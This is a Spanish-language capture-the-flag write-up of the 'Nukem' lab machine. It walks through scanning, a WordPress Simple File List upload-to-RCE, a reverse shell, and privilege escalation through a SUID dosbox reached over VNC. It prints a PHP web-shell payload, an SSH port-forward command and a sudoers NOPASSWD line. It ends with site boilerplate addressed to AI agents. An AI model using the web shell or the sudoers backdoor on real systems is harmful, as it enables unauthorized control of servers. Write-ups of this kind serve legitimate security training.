# MAQUINA NUKEM (WORDPRESS 5.5.1 ABUSED PLUGINS SIMPLE LIST 4.4.2 PIVOTING USER MYSQL PASSOWORD PIVOTING PUERTO Y TUNELIZACION SSH PRIVESC 'DOSBOX' CAMBIO DE PERMISOS SUDOERS CON REMMINA)

Ejecuto un ping para ver la conectividad hacia la maquina victima. Con el ttl puedo determinar que estoy ante una maquina LINUX.

![](/files/oRH5CBzrRvUXNlhhU3Xc)

Realizo un escaneo de puertos para ver los que están abiertos mas un escaneo de reconocimientos básicos para saber que servicios están corriendo, seguido de un escaneo versiones de esos servicios y por ultimo ejecuto un escaneo de vulnerabilidades.

"ESCANEO DE RECONOCIMIENTO"

![](/files/yjboOD9AhYmrGqKCdrsl)

"ESCANEO DE VULNERABILIDADES"

![](/files/0UzhLMuHQBCF5r2XlhbG)

![](/files/zEiaUyHGLZtF1oG8WoyJ) ![](/files/CKdtFz4BDi43bzxs8bKW) ![](/files/H3B17lOz47M8EA52a4d0)

Ya terminado todo el escaneo observo que tengo el puerto 22 ssh disponible, el 80 http, el 3306 mysql y el puerto 5000 otro servidor http.

El escaneo de vuln como el escaneo de reconocimientos me encontró mucha info, en la web esta corriendo un wordpress de versión 5.5.1 y en el ssh versión 8.3.

También el escaneo de vuln me encontró algunas rutas posibles para luego dentro de la web chusmearlas, también realizo una sqli mostrándome un PoC y por ultimo realizo fuerza bruta con una lista propios de nmap encontrándome un usuarios "admin"

Con whatweb -v listo todas las tecnologías que están corriendo en el sitio web. El parámetro - v me muestra con detalles que es cada tecnologías.

![](/files/PN8YSvyHBTkv1DSSxfHq)

![](/files/kB7T0y9AZGnHDxLyDvxY)

![](/files/138lJjgBuJClCIImDqCE) ![](/files/5C4erzij12Nz2kvENnWY)

![](/files/pXRmed04fSPCuClOUvuI)

Ahora ingreso a la web para realizar un reconocimiento de la misma.

Ya dentro con wappalyzer también observo que tipo de tecnología están corriendo por la web.

![](/files/5JNQ9FjfkYo721PwzSe2)

A simple vista veo que tengo el usuario admin realizando un comentario.

![](/files/BS0XSK5emA6Q90DIVyLz)

Me encuentro con un panel de login en el cual pruebo algunas credenciales por defecto con resultado negativo.

![](/files/cqu6UfDrks9oOR5JhQcE) ![](/files/MaQB3cD1on8eC7i07MNv)

Como tengo la versión del wordpress con searchsploit voy a buscar si existe alguna vulnerabilidad para esa versión.

![](/files/0506UeDFgYzrq2cTGwt3)

La herramienta me encontró algunos , pero al verificar que mi web no contiene esos plugins no me van a servir.

Ahora leyendo el codigo fuente busque que plugins estan corriendo en el sitio web. Al parecer tengo 2 plugins interesantes: el simple-file-list y el tutor.

![](/files/kPqUM5G8teHmrEFdUDXO)

Esta búsqueda tambien lo voy a realizar con wpscan pasandole los siguiente comandos.

```
wpscan --url http://192.168.199.105 --enumerate ap
```

Una vez terminado el escaneo con la tool esta me identifica los plugins dando con exactitud los que encontré manualmente, lo bueno es que ahora poseo las versiones de estos plugins para buscar si son vulnerables.

![](/files/V5w3ROibR8HiTS8CREkf)

El centro de atención va a ser en el plugin simple file list el cual la versión es vulnerable a un RCE como también una subida de archivo.

![](/files/p2Fwx84GKRyer6HdJFzD)

El exploit lo que haces lo siguiente:

## Vulnerabilidad

`El plugin "Simple File List" permite a usuarios no autenticados subir archivos al servidor.`

&#x20;`Los archivos subidos no son validados adecuadamente, lo que permite subir scripts maliciosos (en este caso, PHP).`

&#x20;`Posteriormente, el script malicioso puede ser renombrado y ejecutado, otorgando control sobre el servidor.`

## Pre-requisitos:

&#x20;`El plugin debe estar instalado en el servidor objetivo.  La versión del plugin debe ser vulnerable (<= 4.2.2).`

&#x20;`La URL del sitio web objetivo debe estar disponible.`

Ahora como se como funciona el exploit realice un modificación en el payload.

<figure><img src="/files/ehY77XVVz5t2ICoXd3kt" alt=""><figcaption></figcaption></figure>

```
payload = '<?php if(isset($_GET["cmd"])){echo "<pre>";system($_GET["cmd"]);echo "</pre>";}else{echo "Usage: ?cmd=your_command";}?>'
```

Ejecuto el exploit con éxito.

<figure><img src="/files/65Mtr2fCyaLCA0TeCwkV" alt=""><figcaption></figcaption></figure>

Ahora ingreso al 2do link donde esta alojado el archivo malicioso y ejecuto con cmd=ls para ver si me lista el contenido el cual lo realizo con éxito.

<figure><img src="/files/pOpA3meAH5aS0MHNbtop" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/MoWHhLyITiu1P64eM4ka" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/d4k4qjvFSC93mpFFLW2f" alt=""><figcaption></figcaption></figure>

Como puedo realizar ejecución de comandos, lo que voy a hacer una revershell para que se conecte a mi maquina atacante, para ellos elegí el siguiente comando.

<figure><img src="/files/jUxH21aOuytekQhZhugR" alt=""><figcaption></figcaption></figure>

Luego me pongo en escucha con netcat y lanzo la revershell dándome conexión con la maquina.

<figure><img src="/files/fO74NualXadpZJrsizzd" alt=""><figcaption></figcaption></figure>

Ya dentro de la maquina realizo un reconocimiento de la maquina para luego buscar la forma de escalar privilegios para ser usuario root.

<figure><img src="/files/UpD3zZ0dcDiuvSQB3peu" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/Y0x1ImWyGMj9y1a11PbD" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/DGwevDRnxcBNLSYxw33y" alt=""><figcaption></figcaption></figure>

Dentro de la maquina tengo un usuario llamado "commander", luego al saber que estoy ante un wordpress esto contiene datos interesante en un archivo llamado config.php

Una vez que encontrado el archivo lo leo y puedo observar unas credenciales de la base de datos.

<figure><img src="/files/PmT5JVIjbxMolEt598Ek" alt=""><figcaption></figcaption></figure>

Pruebo logearme con estas credenciales con éxito.

<figure><img src="/files/QVpoGVdiRtUVW98yxWrs" alt=""><figcaption></figcaption></figure>

El pivote al usuario commander lo que realizo es una búsqueda permisos SUID.

<figure><img src="/files/NFn0H8QiTdDXDnOue7CN" alt=""><figcaption></figcaption></figure>

Acá encontré algo interesante que es el binario dosbox.&#x20;

\--> <https://es.wikipedia.org/wiki/DOSBox>

Verifico los permisos de este binario y veo que si es SUID.

<figure><img src="/files/Iah3gHTKpklU9l75O5OX" alt=""><figcaption></figcaption></figure>

Con el parámetro "--versión" listo la versión actual.

<figure><img src="/files/8sTfO4e170BqKjpA57OD" alt=""><figcaption></figcaption></figure>

Al listar los puertos internos con el comando: netstat -tulnp, puedo ver que s esta ejecutando un puerto diferente que no aparecía en el escaneo con nmap (5901)

`El puerto 5901 es un puerto de visualización (display) utilizado por el servidor de pantalla remota VNC (Virtual Network Computing). Cuando se configura VNC por primera vez, se abre una instancia predeterminada del servidor en el puerto 5901, también conocido como “:1”.`

<figure><img src="/files/8wWIIyJBYSZ5ZrfeHQgw" alt=""><figcaption></figcaption></figure>

Como dosbox es un programa virtualizado que se puedo ejecutar de forma remota lo que supuse es que al traerme ese puerto a mi maquina realizando ssh fordwarding voy a poder ingresar a través del dosbox con remmina.

Primero realizo un portforwardin SSH.

```
ssh -L 5901:localhost:5901 commander@192.168.199.105
```

Luego con remmina me conecto a través del localhost al puerto indicado anteriormente.

<figure><img src="/files/QZKBFzWHYhABVmlwlBuA" alt=""><figcaption></figcaption></figure>

Este nos pide una contraseña la cual es la encontrada anteriormente, le damos click y ya estamos dentro.

<figure><img src="/files/LbtpNSWSNM1mFqb1So7v" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/Gacct86VO47yDIs8w2v8" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/FAF7QRIasC3LF1q8o0RE" alt=""><figcaption></figcaption></figure>

Lo primero que hago acá es lo siguiente.

`. Listo con el comando que comandos puedo utilizar con el comando "help"`

<figure><img src="/files/b1ao6NcgpwCvi4tFl3ix" alt=""><figcaption></figcaption></figure>

`. Luego con el comando MOUNT voy a montar un particion llamada "k" en la raiz.`

<figure><img src="/files/jrHRCYvj1Mjr7yTyKFft" alt=""><figcaption></figcaption></figure>

`. Con el comando type voy leer el contenido de l archivo /etc/passwd`

<figure><img src="/files/Y94ipNFYkB0tkBoG3cT8" alt=""><figcaption></figcaption></figure>

`. Pruebo ver si me lista el contenido del /etc/shadow y veo que me lista el mismo`

<figure><img src="/files/h0fNvHlp50S5SvIs0WM8" alt=""><figcaption></figcaption></figure>

Ya al ver que me lista el contenido del /etc/shadow me dio sospecha de que este usuario tiene permisos de root.

Por lo que ahora voy a agregar al usuario "commander" todos los permisos para que pueda ejecutar comandos.

<figure><img src="/files/wDAvkkMHf4S7nhxCTkx8" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/L9pkcj13qiSUFsWGM8Wo" alt=""><figcaption></figcaption></figure>

\*\*Agregar la línea\*\*: Una vez dentro del editor, agrega la línea siguiente al final

`` commander ALL=(ALL) NOPASSWD:ALL` ``

Esto otorgará al usuario \`commander\` la capacidad de ejecutar cualquier comando con

Vuelvo a la maquina y con el comando su commander + las password ya me logueo como root.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://1gnotus.gitbook.io/ignotus_pwn/proving-ground-practice-and-play/writeup/maquina-nukem-wordpress-5.5.1-abused-plugins-simple-list-4.4.2-pivoting-user-mysql-passoword-pivotin.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
